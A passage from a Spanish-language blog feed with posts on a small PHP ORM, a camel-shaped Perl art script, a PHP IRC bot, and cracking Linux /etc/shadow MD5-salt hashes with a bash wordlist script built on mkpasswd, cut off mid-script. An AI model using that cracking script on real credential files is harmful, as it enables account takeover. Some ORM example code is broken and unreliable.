<li class="li1">
<div class="de1">&nbsp;<span class="re0">$SimpleORM</span>-&gt;<span class="me1">database</span><span class="br0">&#40;</span><span class="st0">&quot;dbabs&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Seleccionamos la base de datos que deseamos usar</span></div>
</li>
</ol>
</div>
<p>Con este codigo obtenemos una instancia de SimpleORM llamada $SimpleORM, podemos referenciarla para cambiarle el nombre para trabajar con un nombre de variable mas amigable, por ejemplo $db: <strong>$db = &amp;$Saporm</strong> y, desde ahora en adelante, trabajaremos con el objeto $db.</p>
<p>Si queremos precargar los datos de la base de datos, tenemos el método <strong>loadData()</strong>, que pondra a nuestra disposicion un arreglo con todos los registros de la tabla en cuestion.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$db</span>-&gt;<span class="me1">usuarios</span>-&gt;<span class="me1">loadData</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span> = <span class="nu0">0</span>; <span class="re0">$i</span> &lt; = <span class="nu0">3</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;id: &quot;</span>.<span class="re0">$db</span>-&gt;<span class="me1">usuarios</span>-&gt;<span class="me1">id</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span>.<span class="st0">&quot; user:&quot;</span>.<span class="re0">$db</span>-&gt;<span class="me1">usuarios</span>-&gt;<span class="me1">username</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Esta seria una manera de listar los 3 primeros registros de la base de datos, previamente cargada en los atributos de la clase &#8220;usuarios&#8221;.</p>
<p>Tambien es posible hacer una busqueda con criterio usando el metodo <strong>search()</strong>:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Se encontraron: &quot;</span>.<span class="re0">$db</span>-&gt;<span class="me1">posts</span>-&gt;<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;posts&quot;</span> =&gt; <span class="st0">&quot;%probando%&quot;</span><span class="br0">&#41;</span>.<span class="st0">&quot; registros.&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$db</span>-&gt;<span class="me1">posts</span>-&gt;<span class="me1">result</span> <span class="kw1">as</span> <span class="re0">$result</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$result</span><span class="br0">&#91;</span><span class="st0">&#8216;id&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Espero poder seguir con esta idea y lograr un ORM sencillo y facil de usar, que nos permita el desarrollo de proyectos pequeños en poco tiempo y de manera más agil. Cuando tenga un poco mas maduro el codigo lo pondre para que lo puedan descargar. Si alguien tiene ganas de unirse o darme feedback, puede contactarse conmigo sin ningun problema.</p>
<p><strong>Editado</strong> (<em>05-05-2009</em>):<br />
- Se unió <span style="text-decoration: line-through;">osu</span> (es que no le gusta que lo nombren) al desarrollo y decidimos cambiarle el nombre, ya que &#8220;SimpleORM&#8221; ya estaba creado como proyecto en SourceForge. Desde ahora lo llamaremos Saporm.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fsimpleorm-abstraccion%2F&amp;linkname=Saporm%3A%20Simple%20abstraccion%20de%20bases%20de%20datos" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fsimpleorm-abstraccion%2F&amp;linkname=Saporm%3A%20Simple%20abstraccion%20de%20bases%20de%20datos" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fsimpleorm-abstraccion%2F&amp;linkname=Saporm%3A%20Simple%20abstraccion%20de%20bases%20de%20datos" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fsimpleorm-abstraccion%2F&amp;linkname=Saporm%3A%20Simple%20abstraccion%20de%20bases%20de%20datos" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fsimpleorm-abstraccion%2F&amp;linkname=Saporm%3A%20Simple%20abstraccion%20de%20bases%20de%20datos" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fsimpleorm-abstraccion%2F&amp;linkname=Saporm%3A%20Simple%20abstraccion%20de%20bases%20de%20datos" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fsimpleorm-abstraccion%2F&amp;linkname=Saporm%3A%20Simple%20abstraccion%20de%20bases%20de%20datos" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fsimpleorm-abstraccion%2F&amp;linkname=Saporm%3A%20Simple%20abstraccion%20de%20bases%20de%20datos">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/documentacion/simpleorm-abstraccion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Script en perl en forma de camello</title>
		<link>http://blog.zerial.org/programacion/script-en-perl-en-forma-de-camello/</link>
		<comments>http://blog.zerial.org/programacion/script-en-perl-en-forma-de-camello/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 15:25:31 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[ocio]]></category>
		<category><![CDATA[perl]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=247</guid>
		<description><![CDATA[Ahora que me estoy especializando en perl, me acordé haber visto en el blog de vostorga un post bien curioso, escrito en perl y en forma de camello. # sub j(\$){($ P,$V)= @_;while($$P=~s:^ ([()])::x){ $V+=('('eq$1)?-32:31 }$V+=ord( substr( $$P,0,1,""))-74} sub a{ my($I,$K,$ J,$L)=@_ ;$I=int($I*$M/$Z);$K=int( $K*$M/$Z);$J=int($J*$M /$Z);$L=int($L*$M/$Z); $G=$ J-$I;$F=$L-$K;$E=(abs($ G)>=abs($F))?$G:$F;($E&#60;0) and($ I,$K)=($J,$L);$E&#124;&#124;=.01 ;for($i=0;$i< =abs$E;$i++ ){ $D->{$K +int($i*$F/$E) [...]]]></description>
			<content:encoded><![CDATA[<p>Ahora que me estoy <em>especializando</em> en <a href="http://perl.org">perl</a>, me acordé haber visto en <a href="http://vostorga.org" target="_aaa">el blog de vostorga</a> un <a href="http://vostorga.org/?p=205">post</a> bien curioso, escrito en perl y en forma de camello.
<pre>

                                                       #
                                                   sub j(\$){($
                     P,$V)=                      @_;while($$P=~s:^
                 ([()])::x){                    $V+=('('eq$1)?-32:31
           }$V+=ord(  substr(                 $$P,0,1,""))-74} sub a{
          my($I,$K,$  J,$L)=@_               ;$I=int($I*$M/$Z);$K=int(
         $K*$M/$Z);$J=int($J*$M             /$Z);$L=int($L*$M/$Z); $G=$
         J-$I;$F=$L-$K;$E=(abs($          G)>=abs($F))?$G:$F;($E&lt;0) and($
          I,$K)=($J,$L);$E||=.01       ;for($i=0;$i< =abs$E;$i++ ){ $D->{$K
                  +int($i*$F/$E)      }->{$I+int($i*$G/$E)}=1}}sub p{$D={};$
                 Z=$z||.01;map{    $H=$_;$I=$N=j$H;$K=$O=j$H;while($H){$q=ord
                substr($H,0,1,"" );if(42==$q){$J=j$H;$L=j$H}else{$q-=43;$L =$q
              %9;$J=($q-$L)/9;$L=$q-9*$J-4;$J-=4}$J+=$I;$L+=$K;a($I,$K,$J,$ L);
              ($I,$K)=($J,$L)}a($I,$K,$N,$O)}@_;my$T;map{$y=$_;map{ $T.=$D->{$y}
              ->{$_}?$\:' '}(-59..59);$T.="\n"}(-23..23);print"\e[H$T"}$w= eval{
              require Win32::Console::ANSI};$b=$w?'1;7;':"";($j,$u,$s,$t,$a,$n,$o
              ,$h,$c,$k,$p,$e,$r,$l,$C)=split/}/,'Tw*JSK8IAg*PJ[*J@wR}*JR]*QJ[*J'.
               'BA*JQK8I*JC}KUz]BAIJT]*QJ[R?-R[e]\RI'.'}Tn*JQ]wRAI*JDnR8QAU}wT8KT'.
               ']n*JEI*EJR*QJ]*JR*DJ@IQ[}*JSe*JD[n]*JPe*'.'JBI/KI}T8@?PcdnfgVCBRcP'.
                '?ABKV]]}*JWe*JD[n]*JPe*JC?8B*JE};Vq*OJQ/IP['.'wQ}*JWeOe{n*EERk8;'.
                  'J*JC}/U*OJd[OI@*BJ*JXn*J>w]U}CWq*OJc8KJ?O[e]U/T*QJP?}*JSe*JCnTe'.
                   'QIAKJR}*JV]wRAI*J?}T]*RJcJI[\]3;U]Uq*PM[wV]W]WCT*DM*SJ'.  'ZP[Z'.
                      'PZa[\]UKVgogK9K*QJ[\]n[RI@*EH@IddR[Q[]T]T]T3o[dk*JE'.  '[Z\U'.
                        '{T]*JPKTKK]*OJ[QIO[PIQIO[[gUKU\k*JE+J+J5R5AI*EJ00'.  'BCB*'.
                             'DMKKJIR[Q+*EJ0*EK';sub h{$\ = qw(% &#038; @ x)[int    rand
                              4];map{printf  "\e[$b;%dm",int(rand 6)+101-60*   ($w
                               ||0);system(  "cls")if$w ;($A,$S)=    ($_[1],   $
                                _[0]);($M,   @,)= split  '}';for(     $z=256
                                ;$z>0; $z   -=$S){$S*=   $A;p @,}      sleep$_
                                [2];while   ($_[3]&#038;&#038;($    z+=$ S)       < =256){
                                p@,}}("".   "32}7D$j"     ."}AG".       "$u}OG"
                                ."$s}WG"    ."$t",""      ."24}("        ."IJ$a"
                                ."}1G$n"    ."}CO$o"     ."}GG$t"        ."}QC"
                                 ."$h}"      ."^G$e"    ."})IG"          ."$r",
                                 "32}?"       ."H$p}FG$e}QG$r".          "}ZC"
                                 ."$l",          "28}(LC" .""            ."".
                                 "$h}:"           ."J$a}EG".             "$c"
                                 ."}M"             ."C$k}ZG".            "$e"
                                 ."}"             ."dG$r","18"          ."}("
                                ."D;"            ."$C"  )}{h(16         ,1,1,0
                               );h(8,          .98,0,0   );h(16         ,1,1,1)
                               ;h(8.0         ,0.98,0,     1);         redo}###
                             #written                                 060204 by
                           #liverpole                                  @@@@@@@
                        #@@@@@@@@@@@
</pre>
<p>Para ejecutarlo basta que lo copies y lo pegues en tu editor de texto favorito y lo ejecutes escribiendo <b>perl script.pl</b>. Tambien puedes descargarlo desde <a href="http://vostorga.org/files/bleh.pl" target="asas">acá</a>.</pre>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fprogramacion%2Fscript-en-perl-en-forma-de-camello%2F&amp;linkname=Script%20en%20perl%20en%20forma%20de%20camello" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fprogramacion%2Fscript-en-perl-en-forma-de-camello%2F&amp;linkname=Script%20en%20perl%20en%20forma%20de%20camello" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fprogramacion%2Fscript-en-perl-en-forma-de-camello%2F&amp;linkname=Script%20en%20perl%20en%20forma%20de%20camello" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fprogramacion%2Fscript-en-perl-en-forma-de-camello%2F&amp;linkname=Script%20en%20perl%20en%20forma%20de%20camello" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fprogramacion%2Fscript-en-perl-en-forma-de-camello%2F&amp;linkname=Script%20en%20perl%20en%20forma%20de%20camello" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fprogramacion%2Fscript-en-perl-en-forma-de-camello%2F&amp;linkname=Script%20en%20perl%20en%20forma%20de%20camello" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fprogramacion%2Fscript-en-perl-en-forma-de-camello%2F&amp;linkname=Script%20en%20perl%20en%20forma%20de%20camello" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fprogramacion%2Fscript-en-perl-en-forma-de-camello%2F&amp;linkname=Script%20en%20perl%20en%20forma%20de%20camello">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/programacion/script-en-perl-en-forma-de-camello/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>ooPhBot: Bot para IRC escrito en PHP</title>
		<link>http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/</link>
		<comments>http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/#comments</comments>
		<pubDate>Sat, 25 Oct 2008 04:26:10 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[irc]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=162</guid>
		<description><![CDATA[Hace algun tiempo programé un bot para IRC en PHP, este bot tenia varias caracteristicas y opciones, usaba una base de datos mysql para almacenar lo que iba &#8220;aprendiendo&#8221;. Dentro de ellas están: Distintos niveles de privilegios (administrador, owner de un canal, access de un canal) Funcion para realizar busquedas en Google (!google &#60;palabra&#62;) Function [...]]]></description>
			<content:encoded><![CDATA[<p>Hace algun tiempo programé un bot para IRC en PHP, este bot tenia varias caracteristicas y opciones, usaba una base de datos mysql para almacenar lo que iba &#8220;aprendiendo&#8221;. Dentro de ellas están:</p>
<ul>
<li>Distintos niveles de privilegios (administrador, owner de un canal, access de un canal)</li>
<li>Funcion para realizar busquedas en Google (!google &lt;palabra&gt;)</li>
<li>Function para buscar definiciones en Google (!define &lt;termino&gt;)</li>
<li>Distintas funciones de administracion de usuarios (!admin|access add|del|list)</li>
<li>etc</li>
</ul>
<p>Algunas de las caracteristicas de este bot es su proteccion anti <em>flood</em> que se define por el owner del canal y el Oráculo (Oracle; término puesto por mi a esta funcionalidad) que permite enseñar al bot definiciones de palabras para luego ser consultadas (!learn palabra significado, ?? palabra).<br />
Este bot corre bajo php-cli (command line interface), es decir, por consola y tambien puede ser ejecutado desde la web. Queda trabajando como un demonio.</p>
<p><strong>Version Actual:<br />
</strong>La version actual es la misma desde enero del año 2007, no he vuelto a tocar el codigo (aunque sigo usando el bot), funciona todo menos las busquedas de terminos y definiciones en Google que, me imagino, hay que hacerle un par de modificaciones al codigo para que parsee bien las busquedas.</p>
<p><strong>Changelog</strong></p>
<blockquote><p>VERSION 1.0.4 &#8211; 26 ENE 2007</p>
<p>- Cambiado el sistema de autentifiacion. Se verifica que el usuario<br />
este identificado con NickServ.</p>
<p>VERSION 1.0.3 &#8211; 19 ENE 2007</p>
<p>- Se agrego a la clase Bot el metodo TXTflood( &#8230; ) que verifica<br />
el flood de texto de un usuario en un canal especifico, esta opcion<br />
puede ser habilitada o desactivada por usuarios con privilegios mediante<br />
!flood on|off en el canal.<br />
- Se ha reescrito la clase que permite la identificacion y permite que los usuarios<br />
tengan distintos privilegios. (CHAdmin.)<br />
- Corregido el bug que expulsaba de manera distinta a !k o !kick (0 nick o [spacio] nick)<br />
- Agregada la clase Google con los metodos !define y !google.</p>
<p>VERSION 1.0.2 &#8211; 16 ENE 2007</p>
<p>- El bot corre en segundo plano (fork).<br />
- Agregada una funcion extra en la clase del bot usando el binario &#8216;numerador&#8217;<br />
ubicado en el directorio extras, la funcion es !num NUMERO.<br />
- Fixeado bug que causaba la caida del bot al enviar dos veces el comando<br />
para setear una clave. (reportado por Pons)<br />
- Agregado soporte para unrealircd (antes solo habia sido probado en bahamut).<br />
- Testeado en dancer-ircd, bahamut, Hyperion y unrealircd.</p>
<p>VERSION 1.0.0 &#8211; 15 ENE 2007</p>
<p>- Corregido el fallo que cerraba la conexion a la base de datos por idle.</p></blockquote>
<p><strong>Descargar:</strong><br />
Version 1.0.4: <a href="http://blog.zerial.org/files/oophbot-1.0.4.zip">zip</a> | <a href="http://blog.zerial.org/files/oophbot-1.0.4.tar.gz">tar.gz</a> | <a href="http://blog.zerial.org/files/oophbot-1.0.4.tar.bz2">tar.bz2</a></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;linkname=ooPhBot%3A%20Bot%20para%20IRC%20escrito%20en%20PHP">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Descifrando password encriptadas con shadow (md5 + salt)</title>
		<link>http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/</link>
		<comments>http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/#comments</comments>
		<pubDate>Sat, 18 Oct 2008 05:27:14 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[codigos]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[md5]]></category>
		<category><![CDATA[shadow]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=155</guid>
		<description><![CDATA[En Linux las password o claves de los usuarios (incluyendo root) se almacenan en el fichero /etc/shadow, encriptadas y con un salt, que nos complica el descifrado. En pocas palabras una shadow password es un hash del password mas un salt (hashed and salted password). Un ejemplo de una clave shadow es root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30:13911::::::, si la [...]]]></description>
			<content:encoded><![CDATA[<p>En Linux las password o claves de los usuarios (incluyendo root) se almacenan en el fichero <strong>/etc/shadow</strong>, encriptadas y con un salt, que nos complica el descifrado. En pocas palabras una <em>shadow password</em> es un hash del password mas un salt (<em>hashed and salted password</em>).<br />
Un ejemplo de una clave shadow es <em>root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30:13911::::::</em>, si la analizamos podemos darnos cuenta de lo siguiente:</p>
<ul>
<li>Lo que nos interesa es solamente <em>root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30.</em></li>
<li>Lo que esta antes de &#8220;:&#8221; corresponde al usuario: root; y lo que sigue es la password.</li>
<li>Si descomponemos la password podemos obtener:</li>
<li>$1$: Nos indica que corresponde a una encriptacion md5.</li>
<li><em>xOqq7NEt: </em>Es el SALT que se usa para generar el hash del password<em><br />
</em></li>
<li><em>vDOA0jbLcaiRbGsj3ddz30.: </em>Es el hash salteado de nuestra password.</li>
</ul>
<p>Si analizamos todos estos datos podemos darnos cuenta que teniendo el salt podemos encriptar una palabra o frase y generar un hash similar al que estaba en el fichero /etc/shadow, por lo que solo nos queda crear un script y tener un diccionario de palabras a mano para empezar a <em>crackear o descifrar</em> las password en shadow.</p>
<p>El comando <em>mkpasswd </em>nos permite generar un password segun un salt especificado.<br />
Ejemplo:</p>
<blockquote><p>machine:~$ mkpasswd -H md5 <em>miPassword</em> -S DSfdsdaA<br />
$1$DSfdsdaA$kOxgZsSAshG4W.dgGp28Y/</p></blockquote>
<p>He creado un script para hacer mas eficiente y automatiza un poco el proceso.</p>
<p><span id="more-155"></span></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re3">#!/bin/bash</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re3">################################################################</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3">#</span></div>
</li>
<li class="li2">
<div class="de2"><span class="re3"># Crack <span class="kw1">for</span> SHADOW PASSWORDS.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># Usage:</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># &nbsp; &nbsp; &nbsp; crack.<span class="kw2">sh</span> SALT ENCRYPTED_PASS WORD_LIST</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># Example:</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># &nbsp; &nbsp; &nbsp; crack.<span class="kw2">sh</span> mAsCaLaZ 8E6sMbq.fRDo6nbQqIh.z1 wordlist.txt</span></div>
</li>
<li class="li2">
<div class="de2"><span class="re3">#</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># by Zerial &#8211; http://blog.zerial.org &#8211; fernando@zerial.org</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3">################################################################</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">__SALT=</span>$<span class="nu0">1</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="re2">__HASH=</span><span class="st0">&quot;md5&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">__FILE=</span>$<span class="nu0">3</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">__RPWD=</span>$<span class="nu0">2</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;Cracking $__RPWD &#8230;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;Attempts: `wc -l $3 |cut -f1 -d &#8216; &#8216;`&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">for</span> lista <span class="kw1">in</span> `<span class="kw2">cat</span> <span class="re1">$__FILE</span>`</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">do</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">pass_temp=</span>`mkpasswd -H <span class="re1">$__HASH</span> <span class="st0">&quot;$lista&quot;</span> -S <span class="re1">$__SALT</span> |cut -f4 -d <span class="st0">&#8216;$&#8217;</span>`;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re3">#echo </span><span class="st0">&quot;Probing $lista &#8230;&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> <span class="st0">&quot;$__RPWD&quot;</span> = <span class="st0">&quot;$pass_temp&quot;</span> <span class="br0">&#93;</span>; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Password Cracked.&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Decrypted password is: $lista&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span></div>
</li>
<li class="li1">
